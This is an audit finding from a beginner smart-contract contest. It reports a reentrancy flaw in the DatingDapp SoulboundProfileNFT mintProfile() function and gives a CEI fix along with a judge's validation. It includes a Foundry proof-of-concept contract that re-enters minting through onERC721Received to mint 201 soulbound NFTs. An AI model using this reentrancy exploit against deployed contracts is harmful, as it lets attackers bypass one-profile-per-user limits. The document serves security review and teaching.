DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Denial of Service (DoS) Vulnerability in SoulBoundProfileNFT:MintProfile() due to Repeated Minting

Summary

SoulBoundProfileNFT:MintProfile()updates a state variable after minting, allowing a user to mint NFTs repeatedly. This can lead to a denial-of-service (DoS) attack, where malicious actors can exhaust the contract's resources or prevent legitimate users from minting NFTs.

Vulnerability Details

The vulnerability lies in the order of operations within the mintProfile() function. The profileToToken[msg.sender] = tokenId; state variable update, which prevents re-minting, is performed after the _safeMint() call and the metadata storage. This means that a user could potentially trigger multiple mints before the protection mechanism kicks in. A malicious user could create a smart contract that receives ERC721 tokens and repeatedly calls mintProfile() while receiving tokens. This could lead to the contract minting many NFTs for the same profile.

Proof of Code:

contract NFTReceiver is IERC721Receiver, Ownable {
SoulboundProfileNFT nftContract;
// Mapping to store received NFTs
mapping(address => mapping(uint256 => bool)) public receivedNFTs;
event NFTReceived(address operator, address from, uint256 tokenId, bytes data);
constructor(address _nftContract) Ownable(msg.sender) {
nftContract = SoulboundProfileNFT(_nftContract);
}
// Function required by IERC721Receiver
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
override
returns (bytes4)
{
if (tokenId < 201) {
nftContract.mintProfile("Alice", 25, "ipfs://proofileImage");
}
receivedNFTs[from][tokenId] = true;
emit NFTReceived(operator, from, tokenId, data);
return IERC721Receiver.onERC721Received.selector;
}
}
contract SoulboundProfileNFTTest is Test {
SoulboundProfileNFT soulboundNFT;
LikeRegistry registry;
address deployer = makeAddr("deployer");
function setUp() public {
vm.startPrank(deployer);
soulboundNFT = new SoulboundProfileNFT();
registry = new LikeRegistry(address(soulboundNFT));
vm.stopPrank();
}
function testMintManyProfile() public {
NFTReceiver receiver = new NFTReceiver(address(soulboundNFT));
vm.prank(address(receiver)); // Simulates receiver calling the function
soulboundNFT.mintProfile("Alice", 25, "ipfs://profileImage");
uint256 balanceAfter = soulboundNFT.balanceOf(address(receiver));
assertEq(balanceAfter, 201, "Balance should be 201 after minting");
NFTReceiver receiver2 = new NFTReceiver(address(soulboundNFT));
vm.prank(address(receiver2)); // Simulates receiver2 calling the function
soulboundNFT.mintProfile("Alice", 25, "ipfs://profileImage");
uint256 balanceAfter2 = soulboundNFT.balanceOf(address(receiver2));
assertEq(balanceAfter2, 201, "Balance should be 201 after minting");
}
}

Impact

  • DoS: Repeated minting, potentially through a malicious contract, can inflate the token supply, exhaust the contract's resources (e.g., storage), and prevent legitimate users from minting their own profile NFTs due to exceeding the maximum supply (if there is one) or increased gas costs.

  • Incorrect State: While the proof of code does not describe this, there's also a risk that the profileToToken mapping can contain incorrect values, making it difficult to accurately track profile ownership.

Tools Used

  • Solidity

  • Foundry (for testing)

Recommendations

Follow CEI, update state variable before minting.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
+ profileToToken[msg.sender] = tokenId; // Update state variable BEFORE minting
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId; // Removed redundant assignment
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.